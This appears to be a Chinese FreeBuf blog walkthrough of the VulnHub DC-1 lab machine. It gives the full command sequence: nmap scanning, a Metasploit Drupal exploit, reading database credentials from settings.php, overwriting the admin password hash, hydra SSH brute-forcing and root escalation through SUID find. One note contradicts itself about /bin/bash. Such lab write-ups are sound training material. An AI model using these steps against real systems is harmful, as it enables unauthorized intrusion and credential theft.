freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

DC-1靶机渗透
2022-07-25 18:24:24
所属地 安徽省

环境搭建

在虚拟机中加载 DC-1 靶机,将靶机网络改为NAT模式,启动靶机即可。

信息收集

使用 nmap 扫描 C 段,获取靶机 IP 地址

nmap -Pn 192.168.207.0/24

image.png
使用 nmap 扫描靶机开放端口、服务和版本信息

nmap -sS -sV -sC -O 192.168.207.227

image.png
靶机开放了 22、80 和111 端口,web 框架使用的是 Drupal 7。

漏洞利用

使用 msf 对 Drupal 进行搜索

msfconsole -q
search drupal

image.png
在 Rank 为 excellent 中选择年份最近的,设置目标靶机地址

use 2
set RHOSTS 192.168.207.227
show options

image.png
开始攻击,获取 meterpreter
image.png
输入 python 命令,获取交互式 shell

shell
python -c 'import pty;pty.spawn("/bin/bash")'

image.png

flag1

获取 flag1,根据提示查找 drupal 的配置文件
image.png

flag2

通过查看 /sites/default/settings.php 发现 flag2 和 mysql 的用户名和密码,dbuser:R0ck3t

cat /sites/default/settings.php

image.png
登录数据库

mysql -u dbuser -p
R0ck3t

image.png
查询 drupaldb.users 表中的记录和字段,可以通过 update 去替换 admin 用户的加密密码

use drupaldb
select * from users;
desc users;

image.png
Drupal 中自带一个加密脚本,得到 admin 的加密 hash

/var/www/scripts/password-hash.sh admin

image.png
再将加密后的admin密码替换

update drupaldb.users set pass="$S$Dh4KPBQOOmjtoV/.o.TbUaqBqAKcBUOOENjJRgyUPtzvEggJg7I/" where uid=1;

image.png

flag3

使用 admin:admin 登录 192.168.207.227:80,点击 dashboard 发现 flag3
image.png
查看 /etc/passwd ,还有一个 flag4 用户
image.png
使用 hydra 爆破 ssh 服务,获取 flag4 密码为 orange

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt -t 10 ssh://192.168.207.227

image.png

flag4

查看 /home/flag4/flag4.txt文件
image.png

权限提升

查看具有特殊权限suid的命令,发现有find命令

find / -perm -4000 2>/dev/null

image.png

thefinalflag

使用find命令进行提取,获取/root/thefinalflag.txt

find /usr/bin/find -exec "/bin/sh" \;

注意:使用的是 /bin/bash ,而不是 /bin/bash
image.png

# VulnHub # 靶机渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录